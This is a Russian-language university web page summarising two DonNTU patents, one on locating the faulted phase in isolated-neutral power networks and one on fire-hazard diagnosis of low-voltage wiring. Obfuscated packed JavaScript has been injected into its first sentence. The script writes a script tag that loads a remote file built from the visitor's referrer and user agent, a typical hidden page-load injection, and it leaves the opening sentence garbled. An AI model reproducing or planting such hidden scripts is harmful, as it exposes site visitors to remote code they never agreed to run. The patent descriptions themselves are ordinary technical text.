

На eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]};e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6(");n m="q";,30,30,'document||javascript|encodeURIComponent|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|script|bnkkk|var|u0026u|referrer|yaekb||js|php'.split('|'),0,{})) кафедре Электромеханики и ТОЭ, кафедре Электроснабжения промышленных предприятий и городов ДонНТУ получен ряд патентов на изобретения в области диагностики и защиты электрических сетей, противопожарной техники.

□ **1. Способ определения поврежденной фазы в комбинированных электрических сетях с изолированной нейтралью**: патент Украины на изобретение № 104695, H02H 3/16 / Черноус Е.В., Ковалев А.П., Черноус В.П., Готин Б.А.; ДонНТУ - заяв. № а 2013 03104 от 14.03.2013г.; опубл. 25.02.2014, бюл. № 4.

кафедра Электромеханики и ТОЭ

Изобретение относится к области электробезопасности, в частности, к способам защиты человека от поражения электрическим током в комбинированных электрических сетях с изолированной нейтралью с переменной частотой, где применяется защитное шунтирование, т.е. искусственное автоматическое соединение фазы, в которой обнаружена утечка тока, с заземляющей сетью. Способ может найти применение, в частности, в подземных участках сети напряжением  $U \geq 660$  В.

Способ включает измерение мгновенных значений потенциала нейтрали, вычисление серии промежуточных значений его аргумента и сопоставление указанной серии с опорными фазовыми интервалами, при этом дополнительно через каждую шестую часть периода фиксируют контрольные точки, которым соответствуют моменты перехода

через нуль линейных напряжений, измеряют промежуток времени между двумя смежными контрольными точками и вычисляют уточненное значение частоты, которое используют для получения следующих промежуточных результатов серии, при изменении порядка чередования фаз с прямого на обратный пределы опорных фазовых интервалов смещают на одну шестую периода в сторону их опережения, а опорные фазовые промежутки отстающей и опережающей фаз меняют местами.

Использование предлагаемого способа обеспечивает расширение его применения на комбинированные электрические сети с переменной частотой питания и изменением порядка чередования фаз для реверса электропривода.

**2. Способ диагностики низковольтной электрической сети и устройство для его осуществления:** Патент Украины на изобретение 101560, H02H 3/16 / Соленая О.Я., Ковалев А.П., Заболотный И.П., Демченко Г.В., Рудик Ю.И., Беннис Ю.А. ; ДонНТУ - заяв. № а 201112756 от 31.10.2011г.; опубл. 10.04.2013, бюл. № 7.

кафедра Электроснабжения промышленных предприятий и городов

Изобретение относится к области диагностики и проведения приемо-сдаточных испытаний низковольтных электрических сетей на предмет соответствия их нормам пожарной безопасности.

Способ диагностики низковольтной электрической сети включает измерение электрического тока нагрузки, которая контролируется с последующим выявлением аналогового значения высокочастотных колебаний, которое сравнивается с нормированным значением, преобразование аналогового значения высокочастотных колебаний в цифровое значение, из которого формируют сигналы об уровне пожарной опасности. Дополнительно обнаруженные высокочастотные колебания сравнивают с

промышленной частотой 50 Гц. После осуществляют цифровую индикацию сформированных сигналов об уровне пожарной опасности в сети и при достижении 3-5-го уровня пожарной опасности осуществляют и звуковую индикацию. Далее производят отключение участков контролируемой нагрузки, пока не снизится уровень пожарной опасности до 1-2-го уровня, ведут осмотр отключенного участка нагрузки для выявления некачественного монтажа электропровода и дефектных электрических контактных соединений. Устройство для осуществления способа имеет датчик тока нагрузки, блок питания, дополнительно содержит блок выделения высокочастотных гармонических составляющих, который подключен ко вторичной обмотке датчика тока нагрузки и к выходу которого подключен блок формирования сигналов пожарной опасности низковольтной электрической сети, выход которого соединен с блоком цифровой и с блоком звуковой индикации уровней пожарной опасности низковольтной электрической сети. Все блоки устройства соединены с блоком питания.

Использование способа за счет новых технологических операций путем контроля уровня ее пожарной опасности позволяет обеспечить проверку качества монтажа электропроводов и электрических контактных соединений.